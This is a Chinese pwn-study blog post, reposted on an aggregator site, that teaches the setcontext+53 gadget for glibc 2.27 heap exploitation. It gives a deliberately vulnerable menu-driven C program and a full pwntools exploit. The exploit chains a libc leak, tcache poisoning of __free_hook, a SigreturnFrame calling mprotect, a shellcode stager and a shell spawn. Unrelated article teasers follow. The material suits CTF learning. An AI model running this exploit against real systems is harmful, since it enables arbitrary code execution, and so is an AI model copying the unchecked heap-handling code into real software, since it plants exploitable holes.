【我的 PWN 学习手札】setcontext + shellcode

 

目录

一、setcontext gadget

二、setcontext + shellcode

(一)覆写__free_hook为setcontext+53

(二)在堆块布置了一块sigframe

(三)覆写__free_hook+0x8=__free_hook+0x10

(四)从__free_hook+0x10开始写shellcode1 

(五)传入shellcode2

三、过程图示

四、模板与测试 

(一)pwn.c 

(二)exp.py 


部分图和资料,参考自看雪相关课程 

一、setcontext gadget

setcontext函数是libc中一个独特的函数,它的功能是传入一个 SigreturnFrame 结构指针,然后根据 SigreturnFrame 的内容设置各种寄存器。 因此从 setcontext+53(不同 libc 偏移可能不同)的位置开始有如下 gadget,即根据 rdi 也就是第一个 参数指向的 SigreturnFrame 结构设置寄存器。

   0x7ffff7852085 <setcontext+53>     mov    rsp, qword ptr [rdi + 0xa0]0x7ffff785208c <setcontext+60>     mov    rbx, qword ptr [rdi + 0x80]0x7ffff7852093 <setcontext+67>     mov    rbp, qword ptr [rdi + 0x78]0x7ffff7852097 <setcontext+71>     mov    r12, qword ptr [rdi + 0x48]0x7ffff785209b <setcontext+75>     mov    r13, qword ptr [rdi + 0x50]0x7ffff785209f <setcontext+79>     mov    r14, qword ptr [rdi + 0x58]0x7ffff78520a3 <setcontext+83>     mov    r15, qword ptr [rdi + 0x60]0x7ffff78520a7 <setcontext+87>     mov    rcx, qword ptr [rdi + 0xa8]0x7ffff78520ae <setcontext+94>     push   rcx0x7ffff78520af <setcontext+95>     mov    rsi, qword ptr [rdi + 0x70]0x7ffff78520b3 <setcontext+99>     mov    rdx, qword ptr [rdi + 0x88]0x7ffff78520ba <setcontext+106>    mov    rcx, qword ptr [rdi + 0x98]0x7ffff78520c1 <setcontext+113>    mov    r8, qword ptr [rdi + 0x28]0x7ffff78520c5 <setcontext+117>    mov    r9, qword ptr [rdi + 0x30]0x7ffff78520c9 <setcontext+121>    mov    rdi, qword ptr [rdi + 0x68]0x7ffff78520cd <setcontext+125>    xor    eax, eax                            EAX => 00x7ffff78520cf <setcontext+127>    ret   

因此只需要设置 rdi 为 SignatureFrame 结构体指针,然后跳转到 外的寄存器设置成对应的值。 setcontext + 53 就可以将除 rax 例如__free_hook 传入的参数是释放的内存的指针,因此可以通过将 free hook 写入 setcontext gadget 然后 free 一个存储 SigreturnFrame 结构的内存来设置寄存器,继而控制程序执行流程来执行 shellcode 或进一步 rop 。 

二、setcontext + shellcode

这一次我先给出exp的核心代码,然后再介绍流程。

# tcache poisoning
add(0,0x3f8)
delete(0)
edit(0,0x8,p64(libc.sym['__free_hook']))
add(1,0x3f8)
add(0,0x3f8) # __free_hook# setcontext+shellcode
payload=p64(libc.sym['setcontext']+53)
payload+=p64(libc.sym['__free_hook']+0x10)
payload+=asm('''xor rdi,rdimov rsi,%dmov rdx,0x2000xor rax,raxsyscalljmp rsi
''' % (libc.sym['__free_hook'] & ~0xfff))edit(0,len(payload),payload)
frame=SigreturnFrame()
frame.rsp=libc.sym['__free_hook']+8
frame.rip=libc.sym['mprotect']
frame.rdi=libc.sym['__free_hook'] & ~0xfff
frame.rsi=0x2000
frame.rdx=7edit(1,len(frame.__bytes__()),frame.__bytes__())
delete(1)

做了哪些操作?作用和效果?

(一)覆写__free_hook为setcontext+53

如果我们free(ptr)而ptr指向了一块sigframe,则会设置各个寄存器(除了rax)的值。 

(二)在堆块布置了一块sigframe

  1. rsp=__free_hook+8
  2. rip=mprotect
  3. rdi=addr
  4. rsi=0x2000
  5. rdx=7

这里的addr=libc.sym['__free_hook'] & ~0xfff,也就是__free_hook所在页的首地址,将两个页(一个就行其实)大小的区域保护属性改为rwx。

(三)覆写__free_hook+0x8=__free_hook+0x10

实际上是让mprotect返回时跳转到__free_hook+0x10

(四)从__free_hook+0x10开始写shellcode1 

mprotect执行后,跳转到此处,执行读入操作,可以将数据(shellcode2)读入到addr开始的区域。注意,此时addr开始的区域已经变成了rwx

 (五)传入shellcode2

shellcode1可以执行,再跳转一次是为了避免空间不够。

一般遇到情况是开启了沙箱,只能进行orw,因此shellcode1读入shellcode2,shellcode2=orw

三、过程图示

之后释放一个 SigreturnFrame,寄存器设置如下图所示。程序通过 setcontext gadget 设置寄存器后将 完成栈迁移可程序执行流劫持后程序将执行,此时会调用 mprotect 函数将 free_hook 所在内存页添加 可执行属性并且会将栈迁移至 &free_hook+0x8 的位置。执行完 mprotect 函数后程序将跳转至 shellcode1 执行。shellcode 会向 __free_hook 所在内存页起始位置读入能 orw 的 shellcode2 并跳转 至 shellcode 执行获取 flag 

四、模板与测试 

(一)pwn.c 

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}

 (二)exp.py

from pwn import *
elf=ELF('./pwn')
libc=ELF('/home/hacker/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())gdb.attach(io)# leak libc
add(0,0x410)
add(1,0x410)
delete(0)
show(0)
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x3ebca0
info("libc base: "+hex(libc.address))
delete(1)# tcache poisoning
add(0,0x3f8)
delete(0)
edit(0,0x8,p64(libc.sym['__free_hook']))
add(1,0x3f8)
add(0,0x3f8) # __free_hook# setcontext+shellcode
payload=p64(libc.sym['setcontext']+53)
payload+=p64(libc.sym['__free_hook']+0x10)
payload+=asm('''xor rdi,rdimov rsi,%dmov rdx,0x2000xor rax,raxsyscalljmp rsi
''' % (libc.sym['__free_hook'] & ~0xfff))edit(0,len(payload),payload)
frame=SigreturnFrame()
frame.rsp=libc.sym['__free_hook']+8
frame.rip=libc.sym['mprotect']
frame.rdi=libc.sym['__free_hook'] & ~0xfff
frame.rsi=0x2000
frame.rdx=7edit(1,len(frame.__bytes__()),frame.__bytes__())
delete(1)io.sendline(asm(shellcraft.sh())) # orwio.interactive()

 1.__free_hook跳转到setcontext,且rdi指向了布局好的sigframe

2.setcontext返回时,最后将rip指向mprotect,rdi等参数也设置完毕

3.执行shellcode1,读入shellcode2

4.跳转到并执行shellcode2(这里没用orw,演示就直接用了sh)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/457363.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

流媒体协议.之(RTP,RTCP,RTSP,RTMP,HTTP)(一)

闲着没事做&#xff0c;记录一下开发项目用过的协议&#xff0c;项目中&#xff0c;大多是是实时显示播放的&#xff0c;通过私有协议&#xff0c;传输到上位机&#xff0c;实时播放&#xff0c;延时小于200ms&#xff0c;仿照这些协议&#xff0c;定义的数据格式。如果用这些协…

新王Claude 3.5的6大应用场景

Anthropic AI深夜发布了备受期待的Claude 3.5系列更新&#xff0c;包括了全新升级的Claude 3.5 Sonnet和首发的Claude 3.5 Haiku。 Claude 3.5 Sonnet能够理解细微的指令和上下文&#xff0c;识别并纠正自身错误&#xff0c;还能从复杂数据中生成深入的分析和洞察。 结合最先进…

10.22.2024刷华为OD C题型(三)--for循环例子

脚踝动了手术&#xff0c;现在宾馆恢复&#xff0c;伤筋动骨一百天还真不是说笑的&#xff0c;继续努力吧。 文章目录 靠谱的车灰度图恢复灰度图恢复 -- for循环使用例子 靠谱的车 https://www.nowcoder.com/discuss/564514429228834816 这个题目思路不难&#xff0c;就是要自…

手把手教你安装最强文生图工具ComfyUI

ComfyUI 是一款专为稳定扩散&#xff08;Stable Diffusion&#xff09;设计、基于节点的高效用户界面&#xff0c;因其高度的可定制性&#xff0c;正逐渐成为广大用户的新宠。本文教你如何在 Windows 和 Mac 上安装 ComfyUI&#xff0c;并提供一些快速上手的小贴士。 1 ComfyU…

【mysql进阶】4-7. 通用表空间

通⽤表空间 - General Tablespace 1 通⽤表空间的作⽤和特性&#xff1f; ✅ 解答问题 通⽤表空间是使⽤ CREATE tablespace 语法创建的共享InnoDB表空间 通⽤表空间能够存储多个表的数据&#xff0c;与系统表空间类似也是共享表空间&#xff1b; 服务器运⾏时会把表空间元数…

python爬虫——Selenium的基本使用

目录 一、Selenium的介绍 二、环境准备 1.安装Selenium 2.安装WebDriver 三、元素定位 1.常用定位元素的方法 2. 通过指定方式定位元素 四、窗口操作 1.最大化浏览器窗口 2.设置浏览器窗口大小 3.切换窗口或标签页 切换回主窗口 4. 关闭窗口 关闭当前窗口 关闭所…

博客搭建之路:hexo增加搜索功能

文章目录 hexo增加搜索功能本地搜索弊端algolia搜索 hexo增加搜索功能 hexo版本5.0.2 npm版本6.14.7 next版本7.8.0 作为一个博客&#xff0c;没有搜索功能&#xff0c;如何在大批文章中找到自己想要的&#xff0c;那在hexo中如何增加搜索功能呢&#xff1f; search:path: sea…

用接地气的例子趣谈 WWDC 24 全新的 Swift Testing 入门(一)

概述 从 WWDC 24 开始&#xff0c;苹果推出了全新的测试机制&#xff1a;Swift Testing。利用它我们可以大幅度简化之前“老态龙钟”的 XCTest 编码范式&#xff0c;并且使得单元测试更加灵动自由&#xff0c;更符合 Swift 语言的优雅品味。 在这里我们会和大家一起初涉并领略…

2.Linux按键驱动-创建字符设备,通过应用程序读取按键值

1.在上一个博客的基础上&#xff0c;添加一个字符设备 https://blog.csdn.net/weixin_40933496/article/details/143253515?spm1001.2014.3001.55012.在probe函数中注册字符设备 register_chrdev(包含对应的file_operations结构体) class_create device_create3.在中断处理函…

基于大模型的招聘智能体:从创意到MVP

正在考虑下一个 SaaS 创意&#xff1f;以下是我在短短几个小时内从创意到 MVP 的过程。 以下是我将在这篇文章中介绍的内容概述&#xff1a; 为什么这个想法让我产生共鸣我是如何开始构建它的我现在的处境以及我是否会真正推出 获得 SaaS 创意并构建它并不容易。就是这样。 …

opencv学习笔记(1):基础知识

1.像素&#xff1a; 像素&#xff1a;数字图像的最小单位。数字图像由像素组成&#xff0c;像素由一系列代码表示的原色组合而成。 2.颜色空间&#xff1a; 颜色空间&#xff1a;也称彩色模型&#xff08;又称彩色空间或彩色系统&#xff09;。 &#xff08;说白了就是用来描述…

FCN深度学习语义分割开山之作——学习笔记

《Fully Convolutional Networks for Semantic Segmentation》提出了首个端到端的针对像素级预测的全卷积网络&#xff08;FCN&#xff09;&#xff0c;可直接处理任意大小的输入图像并输出相应大小的预测结果&#xff0c;超过了现有技术水平。 一、提出背景 传统的语义分割方…

[计算机网络]第一周

TCP/IP 与OSI TCP/IP TCP/IP 四层模型是一个分层网络通信模型&#xff0c;它将网络通信过程分为四个层次&#xff0c;这四层分别是&#xff1a;网络接口层、互联网层、传输层和应用层。 网络接口层负责在计算机和网络硬件之间传输数据&#xff0c;负责在物理网络上发送和接收…

2024“源鲁杯“高校网络安全技能大赛-Misc-WP

Round 1 hide_png 题目给了一张图片&#xff0c;flag就在图片上&#xff0c;不过不太明显&#xff0c;写个python脚本处理一下 from PIL import Image ​ # 打开图像并转换为RGB模式 img Image.open("./attachments.png").convert("RGB") ​ # 获取图像…

241026-RHEL如何以root身份卸载Docker

在 RHEL 8.8 中&#xff0c;以 root 身份卸载 Docker 可以通过以下步骤完成&#xff1a; 停止 Docker 服务&#xff08;如果已启动&#xff09;&#xff1a; sudo systemctl stop docker删除 Docker 包&#xff1a; 运行以下命令卸载 Docker 引擎及其依赖包&#xff08;docker-…

Redis多级缓存

多级缓存 传统缓存的问题 传统的缓存策略一般是请求到达Tomcat后&#xff0c;先查询Redis&#xff0c;如果未命中则查询数据库&#xff0c;存在下面的问题&#xff1a; 请求要经过Tomcat处理&#xff0c;Tomcat的性能成为整个系统的瓶颈Redis缓存失效时&#xff0c;会对数据…

在多数据中心环境中,自动化运维如何保证跨区域的一致性?网络延迟导致的数据不一致是否可以完全避免?|自动化运维|跨区域一致性

目录 1. 跨区域一致性的定义与重要性 1.1 跨区域一致性的定义 1.2 跨区域一致性的意义 2. 网络延迟的挑战 2.1 网络延迟的来源 2.2 网络延迟对一致性的影响 3. 自动化运维如何实现跨区域一致性 3.1 使用分布式数据库 3.2 采用同步与异步复制 3.3 引入一致性协议 3.4…

Uni-App-03

登录功能开发 实现POST提交 HTTP协议规定请求消息内容类型(Content-Type)有哪些&#xff1f;—— 只有四种 text/plain 没有编码的普通数据 application/x-www-form-urlencoded 编码后的普通数据 multipart/form-data 请求主体中包含文件上传域 application/json 请求主体是 J…

【云原生网关】Higress 从部署到使用详解

目录 二、网关概述 2.1 什么是云原生网关 2.2 常见的云原生网关 2.2.1 Nginx 2.2.2 ApiSix 2.2.3 Kong 2.2.4 Apache Shenyu 2.2.5 Higress 2.2.6 Envoy​​​​​​​ 三、higress介绍 3.1 什么是higress 3.2 Higress 定位 3.3 Higress 内核选择 四、Higress搭…

Vscode + EIDE +CortexDebug 调试Stm32(记录)

{// 使用 IntelliSense 了解相关属性。 // 悬停以查看现有属性的描述。// 欲了解更多信息&#xff0c;请访问: https://go.microsoft.com/fwlink/?linkid830387"version": "0.2.0","configurations": [{"cwd": "${workspaceRoot…